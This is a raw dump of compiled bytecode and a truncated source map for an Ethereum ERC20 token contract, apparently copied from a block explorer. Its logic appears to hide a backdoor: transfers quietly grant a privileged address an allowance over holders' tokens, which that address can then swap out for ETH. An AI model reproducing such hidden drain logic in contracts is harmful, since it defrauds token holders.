f16146106c4575f80fd5b6106ce3082611410565b5f600267ffffffffffffffff8111156106ea576106e96118ff565b5b6040519080825280602002602001820160405280156107185781602001602082028036833780820191505090505b50905030815f8151811061072f5761072e61192c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f7919061196d565b8160018151811061080b5761080a61192c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f61084f30610493565b905061087d3060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683610e3b565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318cbafe5825f8560095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166014426108ec91906119c5565b6040518663ffffffff1660e01b815260040161090c959493929190611b43565b5f604051808303815f87803b158015610923575f80fd5b505af1158015610935573d5f803e3d5ffd5b5050505050505050565b5f61094b338484610ffe565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610974610608565b73ffffffffffffffffffffffffffffffffffffffff16146109ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c1906118e1565b60405180910390fd5b600560019054906101000a900460ff16156109e3575f80fd5b610a113060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610e3b565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a7c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aa0919061196d565b905060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b30919061196d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b8152600401610b6a929190611b9b565b6020604051808303815f875af1158015610b86573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610baa919061196d565b600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610c3230610493565b5f80610c3c610608565b426040518863ffffffff1660e01b8152600401610c5e96959493929190611bc2565b60606040518083038185885af1158015610c7a573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c9f9190611c35565b505050600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d40929190611c85565b6020604051808303815f875af1158015610d5c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d809190611cd6565b506001600560016101000a81548160ff021916908315150217905550600160085f6101000a81548160ff02191690831515021790555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ea9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea090611d71565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0e90611dff565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ff19190611769565b60405180910390a3505050565b5f8111611040576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103790611e8d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a590611ef5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361111c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111390611f5d565b60405180910390fd5b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156111c75750600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156111ff57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561123b5760085f9054906101000a900460ff1615611223576112228282611467565b5b60075f81548092919061123590611f7b565b91905055505b61128b8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113c790919063ffffffff16565b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061131c8160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461150990919063ffffffff16565b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113ba9190611769565b60405180910390a3505050565b5f61140883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611566565b905092915050565b8060045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461145c91906119c5565b925050819055505050565b8060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f80828461151791906119c5565b90508381101561155c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115539061200c565b60405180910390fd5b8091505092915050565b5f8383111582906115ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a49190611638565b60405180910390fd5b505f83856115bb919061202a565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61160a826115c8565b61161481856115d2565b93506116248185602086016115e2565b61162d816115f0565b840191505092915050565b5f6020820190508181035f8301526116508184611600565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6116858261165c565b9050919050565b6116958161167b565b811461169f575f80fd5b50565b5f813590506116b08161168c565b92915050565b5f819050919050565b6116c8816116b6565b81146116d2575f80fd5b50565b5f813590506116e3816116bf565b92915050565b5f80604083850312156116ff576116fe611658565b5b5f61170c858286016116a2565b925050602061171d858286016116d5565b9150509250929050565b5f8115159050919050565b61173b81611727565b82525050565b5f6020820190506117545f830184611732565b92915050565b611763816116b6565b82525050565b5f60208201905061177c5f83018461175a565b92915050565b5f805f6060848603121561179957611798611658565b5b5f6117a6868287016116a2565b93505060206117b7868287016116a2565b92505060406117c8868287016116d5565b9150509250925092565b5f60ff82169050919050565b6117e7816117d2565b82525050565b5f6020820190506118005f8301846117de565b92915050565b61180f8161167b565b82525050565b5f6020820190506118285f830184611806565b92915050565b5f6020828403121561184357611842611658565b5b5f611850848285016116a2565b91505092915050565b5f806040838503121561186f5761186e611658565b5b5f61187c858286016116a2565b925050602061188d858286016116a2565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6118cb6020836115d2565b91506118d682611897565b602082019050919050565b5f6020820190508181035f8301526118f8816118bf565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f815190506119678161168c565b92915050565b5f6020828403121561198257611981611658565b5b5f61198f84828501611959565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6119cf826116b6565b91506119da836116b6565b92508282019050808211156119f2576119f1611998565b5b92915050565b5f819050919050565b5f819050919050565b5f611a24611a1f611a1a846119f8565b611a01565b6116b6565b9050919050565b611a3481611a0a565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611a6c8161167b565b82525050565b5f611a7d8383611a63565b60208301905092915050565b5f602082019050919050565b5f611a9f82611a3a565b611aa98185611a44565b9350611ab483611a54565b805f5b83811015611ae4578151611acb8882611a72565b9750611ad683611a89565b925050600181019050611ab7565b5085935050505092915050565b5f611b0b611b06611b018461165c565b611a01565b61165c565b9050919050565b5f611b1c82611af1565b9050919050565b5f611b2d82611b12565b9050919050565b611b3d81611b23565b82525050565b5f60a082019050611b565f83018861175a565b611b636020830187611a2b565b8181036040830152611b758186611a95565b9050611b846060830185611b34565b611b91608083018461175a565b9695505050505050565b5f604082019050611bae5f830185611806565b611bbb6020830184611806565b9392505050565b5f60c082019050611bd55f830189611806565b611be2602083018861175a565b611bef6040830187611a2b565b611bfc6060830186611a2b565b611c096080830185611806565b611c1660a083018461175a565b979650505050505050565b5f81519050611c2f816116bf565b92915050565b5f805f60608486031215611c4c57611c4b611658565b5b5f611c5986828701611c21565b9350506020611c6a86828701611c21565b9250506040611c7b86828701611c21565b9150509250925092565b5f604082019050611c985f830185611806565b611ca5602083018461175a565b9392505050565b611cb581611727565b8114611cbf575f80fd5b50565b5f81519050611cd081611cac565b92915050565b5f60208284031215611ceb57611cea611658565b5b5f611cf884828501611cc2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611d5b6024836115d2565b9150611d6682611d01565b604082019050919050565b5f6020820190508181035f830152611d8881611d4f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611de96022836115d2565b9150611df482611d8f565b604082019050919050565b5f6020820190508181035f830152611e1681611ddd565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2e00000000000000000000000000000000000000000000602082015250565b5f611e77602a836115d2565b9150611e8282611e1d565b604082019050919050565b5f6020820190508181035f830152611ea481611e6b565b9050919050565b7f5472616e7366657220746f207a65726f206164647265737300000000000000005f82015250565b5f611edf6018836115d2565b9150611eea82611eab565b602082019050919050565b5f6020820190508181035f830152611f0c81611ed3565b9050919050565b7f7472616e736665722066726f6d207a65726f20616464726573732e00000000005f82015250565b5f611f47601b836115d2565b9150611f5282611f13565b602082019050919050565b5f6020820190508181035f830152611f7481611f3b565b9050919050565b5f611f85826116b6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611fb757611fb6611998565b5b600182019050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611ff6601b836115d2565b915061200182611fc2565b602082019050919050565b5f6020820190508181035f83015261202381611fea565b9050919050565b5f612034826116b6565b915061203f836116b6565b925082820390508181111561205757612056611998565b5b9291505056fea2646970667358221220a852ccd1161c9079c647189fca2cb26023168247979d516538c80fa86b4b6ad664736f6c634300081a0033

Deployed Bytecode Sourcemap

2692:4768:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4026:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4644:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3809:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5748:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4117:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3532:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3908:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;578:140;;;;;;;;;;;;;:::i;:::-;;182:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4208;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6892:563;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6012:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6176:590;;;:::i;:::-;;4802:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4026:83;4063:13;4096:5;;;;;;;;;;;;;;;;;4089:12;;4026:83;:::o;4644:150::-;4710:4;4727:37;4736:10;4748:7;4757:6;4727:8;:37::i;:::-;4782:4;4775:11;;4644:150;;;;:::o;3809:91::-;3853:7;3880:12;;3873:19;;3809:91;:::o;5748:256::-;5837:4;5854:36;5864:6;5872:9;5883:6;5854:9;:36::i;:::-;5901:73;5910:6;5918:10;5930:43;5966:6;5930:11;:19;5942:6;5930:19;;;;;;;;;;;;;;;:31;5950:10;5930:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;5901:8;:73::i;:::-;5992:4;5985:11;;5748:256;;;;;:::o;4117:83::-;4158:5;4183:9;;;;;;;;;;;4176:16;;4117:83;:::o;3532:28::-;;;;;;;;;;;;;:::o;3908:110::-;3965:7;3992:9;:18;4002:7;3992:18;;;;;;;;;;;;;;;;3985:25;;3908:110;;;:::o;578:140::-;474:10;463:21;;:7;:5;:7::i;:::-;:21;;;455:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;677:1:::1;640:40;;661:6;::::0;::::1;;;;;;;;640:40;;;;;;;;;;;;708:1;691:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;578:140::o:0;182:87::-;228:7;255:6;;;;;;;;;;;248:13;;182:87;:::o;4208:::-;4247:13;4280:7;;;;;;;;;;;;;;;;;4273:14;;4208:87;:::o;6892:563::-;6989:9;;;;;;;;;;;6975:23;;:10;:23;;;6967:32;;;;;;7010:33;7028:4;7035:7;7010:9;:33::i;:::-;7054:21;7092:1;7078:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7054:40;;7123:4;7105;7110:1;7105:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;7150:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7139:4;7144:1;7139:7;;;;;;;;:::i;:::-;;;;;;;:33;;;;;;;;;;;7183:19;7205:24;7223:4;7205:9;:24::i;:::-;7183:46;;7240:62;7257:4;7272:15;;;;;;;;;;;7290:11;7240:8;:62::i;:::-;7313:15;;;;;;;;;;;:37;;;7365:11;7378:1;7395:4;7401:9;;;;;;;;;;;7444:2;7426:15;:20;;;;:::i;:::-;7313:134;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6956:499;;6892:563;;:::o;6012:156::-;6081:4;6098:40;6108:10;6120:9;6131:6;6098:9;:40::i;:::-;6156:4;6149:11;;6012:156;;;;:::o;6176:590::-;474:10;463:21;;:7;:5;:7::i;:::-;:21;;;455:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;6246:11:::1;;;;;;;;;;;6245:12;6237:21;;;::::0;::::1;;6269:63;6286:4;6301:15;;;;;;;;;;;6319:12;;6269:8;:63::i;:::-;6343:12;6358:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6343:37;;6425:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6407:56;;;6472:4;6479;6407:77;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6391:13;;:93;;;;;;;;;;;;;;;;;;6495:15;;;;;;;;;;;:31;;;6534:9;6554:4;6561:24;6579:4;6561:9;:24::i;:::-;6587:1;6590::::0;6593:7:::1;:5;:7::i;:::-;6602:15;6495:123;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;6636:13;;;;;;;;;;;6629:29;;;6667:15;;;;;;;;;;;6685:14;6629:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;6725:4;6711:11;;:18;;;;;;;;;;;;;;;;;;6754:4;6740:11;;:18;;;;;;;;;;;;;;;;;;6226:540;6176:590::o:0;4802:134::-;4874:7;4901:11;:18;4913:5;4901:18;;;;;;;;;;;;;;;:27;4920:7;4901:27;;;;;;;;;;;;;;;;4894:34;;4802:134;;;;:::o;4303:335::-;4413:1;4396:19;;:5;:19;;;4388:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4494:1;4475:21;;:7;:21;;;4467:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4576:6;4546:11;:18;4558:5;4546:18;;;;;;;;;;;;;;;:27;4565:7;4546:27;;;;;;;;;;;;;;;:36;;;;4614:7;4598:32;;4607:5;4598:32;;;4623:6;4598:32;;;;;;:::i;:::-;;;;;;;;4303:335;;;:::o;4946:659::-;5043:1;5034:6;:10;5026:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;5124:1;5110:16;;:2;:16;;;5102:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;5190:1;5174:18;;:4;:18;;;5166:58;;;;;;;;;;;;:::i;:::-;;;;;;;;;5253:15;;;;;;;;;;;5239:30;;:2;:30;;;;:53;;;;;5279:13;;;;;;;;;;;5273:19;;:2;:19;;;;5239:53;:76;;;;;5310:4;5296:19;;:2;:19;;;;5239:76;5235:213;;;5335:11;;;;;;;;;;;5331:80;;;5367:28;5384:2;5388:6;5367:16;:28::i;:::-;5331:80;5425:9;;:11;;;;;;;;;:::i;:::-;;;;;;5235:213;5476:27;5496:6;5476:9;:15;5486:4;5476:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;5458:9;:15;5468:4;5458:15;;;;;;;;;;;;;;;:45;;;;5530:25;5548:6;5530:9;:13;5540:2;5530:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;5514:9;:13;5524:2;5514:13;;;;;;;;;;;;;;;:41;;;;5586:2;5571:26;;5580:4;5571:26;;;5590:6;5571:26;;;;;;:::i;:::-;;;;;;;;4946:659;;;:::o;747:136::-;805:7;832:43;836:1;839;832:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;825:50;;747:136;;;;:::o;6774:109::-;6869:6;6841:9;:24;6859:4;6841:24;;;;;;;;;;;;;;;;:34;;;;;;;:::i;:::-;;;;;;;;6774:109;;:::o;5613:127::-;5721:11;5692;:15;5704:2;5692:15;;;;;;;;;;;;;;;:26;5708:9;;;;;;;;;;;5692:26;;;;;;;;;;;;;;;:40;;;;5613:127;;:::o;1279:179::-;1337:7;1357:9;1373:1;1369;:5;;;;:::i;:::-;1357:17;;1398:1;1393;:6;;1385:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1449:1;1442:8;;;1279:179;;;;:::o;1464:190::-;1550:7;1583:1;1578;:6;;1586:12;1570:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1610:9;1626:1;1622;:5;;;;:::i;:::-;1610:17;;1645:1;1638:8;;;1464:190;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:118::-;4833:24;4851:5;4833:24;:::i;:::-;4828:3;4821:37;4746:118;;:::o;4870:222::-;4963:4;5001:2;4990:9;4986:18;4978:26;;5014:71;5082:1;5071:9;5067:17;5058:6;5014:71;:::i;:::-;4870:222;;;;:::o;5098:329::-;5157:6;5206:2;5194:9;5185:7;5181:23;5177:32;5174:119;;;5212:79;;:::i;:::-;5174:119;5332:1;5357:53;5402:7;5393:6;5382:9;5378:22;5357:53;:::i;:::-;5347:63;;5303:117;5098:329;;;;:::o;5433:474::-;5501:6;5509;5558:2;5546:9;5537:7;5533:23;5529:32;5526:119;;;5564:79;;:::i;:::-;5526:119;5684:1;5709:53;5754:7;5745:6;5734:9;5730:22;5709:53;:::i;:::-;5699:63;;5655:117;5811:2;5837:53;5882:7;5873:6;5862:9;5858:22;5837:53;:::i;:::-;5827:63;;5782:118;5433:474;;;;;:::o;5913:182::-;6053:34;6049:1;6041:6;6037:14;6030:58;5913:182;:::o;6101:366::-;6243:3;6264:67;6328:2;6323:3;6264:67;:::i;:::-;6257:74;;6340:93;6429:3;6340:93;:::i;:::-;6458:2;6453:3;6449:12;6442:19;;6101:366;;;:::o;6473:419::-;6639:4;6677:2;6666:9;6662:18;6654:26;;6726:9;6720:4;6716:20;6712:1;6701:9;6697:17;6690:47;6754:131;6880:4;6754:131;:::i;:::-;6746:139;;6473:419;;;:::o;6898:180::-;6946:77;6943:1;6936:88;7043:4;7040:1;7033:15;7067:4;7064:1;7057:15;7084:180;7132:77;7129:1;7122:88;7229:4;7226:1;7219:15;7253:4;7250:1;7243:15;7270:143;7327:5;7358:6;7352:13;7343:22;;7374:33;7401:5;7374:33;:::i;:::-;7270:143;;;;:::o;7419:351::-;7489:6;7538:2;7526:9;7517:7;7513:23;7509:32;7506:119;;;7544:79;;:::i;:::-;7506:119;7664:1;7689:64;7745:7;7736:6;7725:9;7721:22;7689:64;:::i;:::-;7679:74;;7635:128;7419:351;;;;:::o;7776:180::-;7824:77;7821:1;7814:88;7921:4;7918:1;7911:15;7945:4;7942:1;7935:15;7962:191;8002:3;8021:20;8039:1;8021:20;:::i;:::-;8016:25;;8055:20;8073:1;8055:20;:::i;:::-;8050:25;;8098:1;8095;8091:9;8084:16;;8119:3;8116:1;8113:10;8110:36;;;8126:18;;:::i;:::-;8110:36;7962:191;;;;:::o;8159:85::-;8204:7;8233:5;8222:16;;8159:85;;;:::o;8250:60::-;8278:3;8299:5;8292:12;;8250:60;;;:::o;8316:158::-;8374:9;8407:61;8425:42;8434:32;8460:5;8434:32;:::i;:::-;8425:42;:::i;:::-;8407:61;:::i;:::-;8394:74;;8316:158;;;:::o;8480:147::-;8575:45;8614:5;8575:45;:::i;:::-;8570:3;8563:58;8480:147;;:::o;8633:114::-;8700:6;8734:5;8728:12;8718:22;;8633:114;;;:::o;8753:184::-;8852:11;8886:6;8881:3;8874:19;8926:4;8921:3;8917:14;8902:29;;8753:184;;;;:::o;8943:132::-;9010:4;9033:3;9025:11;;9063:4;9058:3;9054:14;9046:22;;8943:132;;;:::o;9081:108::-;9158:24;9176:5;9158:24;:::i;:::-;9153:3;9146:37;9081:108;;:::o;9195:179::-;9264:10;9285:46;9327:3;9319:6;9285:46;:::i;:::-;9363:4;9358:3;9354:14;9340:28;;9195:179;;;;:::o;9380:113::-;9450:4;9482;9477:3;9473:14;9465:22;;9380:113;;;:::o;9529:732::-;9648:3;9677:54;9725:5;9677:54;:::i;:::-;9747:86;9826:6;9821:3;9747:86;:::i;:::-;9740:93;;9857:56;9907:5;9857:56;:::i;:::-;9936:7;9967:1;9952:284;9977:6;9974:1;9971:13;9952:284;;;10053:6;10047:13;10080:63;10139:3;10124:13;10080:63;:::i;:::-;10073:70;;10166:60;10219:6;10166:60;:::i;:::-;10156:70;;10012:224;9999:1;9996;9992:9;9987:14;;9952:284;;;9956:14;10252:3;10245:10;;9653:608;;;9529:732;;;;:::o;10267:142::-;10317:9;10350:53;10368:34;10377:24;10395:5;10377:24;:::i;:::-;10368:34;:::i;:::-;10350:53;:::i;:::-;10337:66;;10267:142;;;:::o;10415:126::-;10465:9;10498:37;10529:5;10498:37;:::i;:::-;10485:50;;10415:126;;;:::o;10547:134::-;10605:9;10638:37;10669:5;10638:37;:::i;:::-;10625:50;;10547:134;;;:::o;10687:147::-;10782:45;10821:5;10782:45;:::i;:::-;10777:3;10770:58;10687:147;;:::o;10840:847::-;11111:4;11149:3;11138:9;11134:19;11126:27;;11163:71;11231:1;11220:9;11216:17;11207:6;11163:71;:::i;:::-;11244:80;11320:2;11309:9;11305:18;11296:6;11244:80;:::i;:::-;11371:9;11365:4;11361:20;11356:2;11345:9;11341:18;11334:48;11399:108;11502:4;11493:6;11399:108;:::i;:::-;11391:116;;11517:80;11593:2;11582:9;11578:18;11569:6;11517:80;:::i;:::-;11607:73;11675:3;11664:9;11660:19;11651:6;11607:73;:::i;:::-;10840:847;;;;;;;;:::o;11693:332::-;11814:4;11852:2;11841:9;11837:18;11829:26;;11865:71;11933:1;11922:9;11918: